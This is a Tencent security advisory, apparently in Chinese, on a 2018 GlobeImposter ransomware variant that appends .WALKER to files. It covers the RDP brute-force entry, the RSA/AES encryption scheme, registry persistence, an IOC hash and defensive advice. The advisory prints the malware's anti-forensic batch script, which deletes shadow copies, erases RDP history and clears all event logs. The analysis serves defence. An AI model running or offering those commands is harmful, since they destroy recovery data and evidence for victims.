预警!多家大型企业遭遇GlobeImposter勒索病毒袭击,文件被加密为.WALKER扩展名

2018-08-27 来源:原创 作者:腾讯电脑管家
【文章摘要】腾讯御见威胁情报中心(下称腾讯安全)于2018.8.26日监控到国内某重要通信厂商多地子公司发生GlobeImposter勒索病毒攻击事件,其中病毒样本攻击变种与8.24日腾讯安全发布的GlobeImposter勒索病毒预警中样本有所区别,其加密后将文件后缀名改为“WALKER”。

0x1 概述

腾讯御见威胁情报中心(下称腾讯安全)于2018.8.26日监控到国内某重要通信企业多地子公司发生GlobeImposter勒索病毒攻击事件,其中病毒样本攻击变种与8.24日腾讯安全发布的GlobeImposter勒索病毒预警中样本有所区别,其加密后将文件后缀名改为“WALKER”。

经过腾讯安全紧急分析,此次GlobeImposter勒索病毒变种攻击的主要方式仍是暴力破解RDP远程登录密码后,再进一步在内网横向渗透。值得注意的是,与近期其他版本勒索病毒主要针对服务器以及数据库文件加密不同,此次爆发的GlobeImposter勒索病毒并不区分被入侵机器是否服务器,一旦入侵成功后直接感染。除个别路径外,所有文件都被加密为后辍名为“WALKER”的文件。

除上述某重要通信企业外,腾讯安全监控到7月底开始有不同行业的各企业遭受此次WALKER变种攻击。攻击者疑似有意选择8.25-8.26日周末期间进行大规模入侵,我们预测近一周可能有较多企业遭受类似攻击。

GlobeImposter勒索病毒在一段时间内并无实质性技术更新,近日在部分企业内网爆发,对个人电脑用户影响较小。我们提醒企业用户高度重视近期GlobeImposter勒索病毒的破坏行为,提前备份关键业务系统,避免遭遇勒索病毒破坏之后业务系统出现严重损失。

对于已经中毒的系统,建议在内网下线处理,病毒清理完毕才能重新接入网络。内网其他未中毒的电脑,使用弱口令登录的建议尽快修改,使用由字母、数字和特殊字符组合的复杂密码,避免攻击者暴力破解成功(企业网管可配置强制使用强壮密码,杜绝使用弱密码登录);及时修复操作系统补丁,避免因漏洞导致攻击入侵事件发生;终端用户若不使用远程桌面登录服务,建议关闭;局域网内已发生勒索病毒入侵的,可暂时关闭135139445端口(暂时禁用Server服务)以减少远程入侵的可能。

0x2 影响评级

高危,黑客首先会入侵企业内网,之后再通过暴力破解RDPSMB服务在内网继续扩散。除个别文件夹外,都被加密,除非得到密钥,受损文件无法解密还原。

 

0x3 影响面

Windows系统的电脑会被波及,目前,御见威胁情报中心发现广东、河南、黑龙江等地已有多个企业受害,预计近期还会有增加。

0x4 样本分析

入侵分析

1、从某感染用户机器上可以看到,8月25日至8月26日凌晨有大量445端口爆破记录

1

攻击源是内网中非本地区的某台机器,显示该企业内各地分公司都已存在相应风险。

样本分析

加密算法说明

勒索病毒使用了RSA+AES加密方式,加密过程中涉及两对RSA密钥(分别为黑客公私钥和用户公私钥,分别用hacker_rsa_xxxuser_rsa_xxx表示这两对密钥)和一对AES密钥。黑客RSA密钥用于加密用户RSA密钥,用户RSA密钥用于加密AES密钥,AES密钥用于加密文件内容。

具体的加密过程为:勒索病毒首先解码出一个内置的RSA公钥(hacker_rsa_pub),同时对每个受害用户,使用RSA生成公私钥(user_rsa_pubuser_rsa_pri),其中生成的密钥信息使用内置的RSA公钥(hacker_rsa_Public)进行加密后,做为用户ID。在遍历系统文件,对符合加密要求的文件进行加密。对每个文件,通过CoCreateGuid生成一个唯一标识符,并由该唯一标识符最终生成AES密钥(记为file_aes_key),对文件进行加密。在加密文件的过程中,该唯一标识符会通过RSA公钥 (user_rsa_pub) 加密后保存到文件中。

黑客在收到赎金、用户ID和文件后,通过自己的私钥(hacker_rsa_pri)解密用户ID,可以得到user_rsa_pri,使用user_rsa_pri解密文件,就可以得到文件的file_aes_key,进而可以通过AES算法解密出原始文件。


2

自启动分析

恶意代码样本为了防止被轻易地分析,加密了大多数字符串和一部分API,运行后会在内存中动态解密,解密后可以看到样本在加密时排除的文件夹与后缀名。首先获取环境变量“%LOCALAPPADATA%”“%APPDATA%”的路径,若获取不到则退出;获取到后,将自身拷贝到该目录下,然后添加自启动项。


 

3

复制之后,将路径写到以下注册表项中

HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce\\BrowserUpdateCheck,使得自身能够开机自启动


4

加密过程分析

获取当前机器上每个盘符:


5

对每个盘符分别创建一个线程,进行文件加密


6

加密文件前,首先会过滤掉后缀为.WALKER,文件名为HOW_TO_BACK_FILES.html以及保存用户ID的文件,此外还会过滤掉如下路径下的文件:


7

然后进行加密


8

GlobeImposter对文件的加密使用的是AES加密算法。AES加密的KEY在本地随机生成。首先AES加密时的IV参数由当前文件的大小和文件路径共同生成。IV参数将MD(filesize|| filename )后取前16位。


9

将IV与另外生成的secret key使用MBEDTLS_MD_SHA256计算2次HASH,并将HASH结果做为AES加密的KEY


10

随后,使用内置的RSA公钥将guid进行加密,并将加密过的guid及用户ID写入到当前文件中。


11

最后用AES加密文件内容


12

自删除分析

通过调用CMD /c del,来进行自删除


13

在Temp目录下,释放.bat脚本文件,主要用来删除远程桌面连接信息文件default.rdp,并通过wevtutil.exe cl命令删除日志信息


14

解密出来的bat文件内容如下

@echo off

vssadmin.exe Delete Shadows /All /Quiet

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default" /va /f

reg delete "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers" /f

reg add "HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"

cd %userprofile%\documents\

attrib Default.rdp -s -h

del Default.rdp

for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"

 

 

0x5 解决方案

Ø  全网安装专业的终端安全管理软件,由管理员批量杀毒和安装补丁,后续定期更新各类系统高危补丁。

Ø  部署流量监控/阻断类设备/软件,便于事前发现,事中阻断和事后回溯。

Ø  建议由于其他原因不能及时安装补丁的系统,考虑在网络边界、路由器、防火墙上设置严格的访问控制策略,以保证网络的动态安全。

Ø  建议对于存在弱口令的系统,需在加强使用者安全意识的前提下,督促其修改密码,或者使用策略来强制限制密码长度和复杂性。

Ø  建议对于存在弱口令或是空口令的服务,在一些关键服务上,应加强口令强度,同时需使用加密传输方式,对于一些可关闭的服务来说,建议关闭不要的服务端口以达到安全目的。不使用相同口令管理多台关键服务器。

Ø  建议网络管理员、系统管理员、安全管理员关注安全信息、安全动态及最新的严重漏洞,攻与防的循环,伴随每个主流操作系统、应用服务的生命周期。

Ø  建议对数据库账户密码策略建议进行配置,对最大错误登录次数、超过有效次数进行锁定、密码有效期、到期后的宽限时间、密码重用等策略进行加固设置。

Ø  建议对数据库的管理访问节点地址进行严格限制,只允许特定管理主机IP进行远程登录数据库。

为防止黑客入侵,需要更加完善的防护体系:各终端使用腾讯御点防止病毒攻击,御点具备终端杀毒统一管控、修复漏洞统一管控,以及策略管控等全方位的安全管理功能,可帮助医疗机构管理者全面了解、管理企业内网安全状况、保护医疗机构网络信息安全。

除此之外,在内网部署腾讯御界高级威胁检测系统、腾讯御见安全态势感知平台和腾讯御知网络空间风险雷达等产品,在终端安全、边界安全、网站监测、统一监控方面建立一套集风险监测、分析、预警、响应和可视化为一体的安全体系,全方位立体化保障企业用户的网络安全,及时阻止黑客入侵。

为防止遭勒索病毒攻击,各企业用户应及时给服务器打好安全补丁,尽量关闭不必要的文件共享、端口和服务,采用高强度的唯一服务器账号/密码并定期更换,对没有互联需求的服务器/工作站内部访问设置访问控制,在终端电脑上使用腾讯御点防御病毒木马攻击。


15

同时,推荐企业用户关键业务配置备份系统,将重要业务数据创建多个备份和异地备份,避免备份数据也被勒索病毒破坏。一旦有病毒感染事件发生,也可快速恢复重建业务系统,避免重大损失发生。

个人用户可及时安装操作系统漏洞补丁,安全备份重要数据及文件,同时开启文档守护者以免遭勒索病毒破坏。

0x6 IOCs

MD5

06cf8bdf3c3a3dbe7c054cb4ff98b28f

 

参考资料

GlobeImposter勒索病毒企业防御方案

https://s.tencent.com/research/report/435.html

 

2017年安全事件/趋势盘点

勒索病毒:https://guanjia.qq.com/news/n1/2277.html

腾讯安全互联网年度报告:https://guanjia.qq.com/news/n1/2258.html

 

关于GlobeImposter勒索病毒近期攻击情况的说明

 

电脑管家 V16

全新上线 更轻更快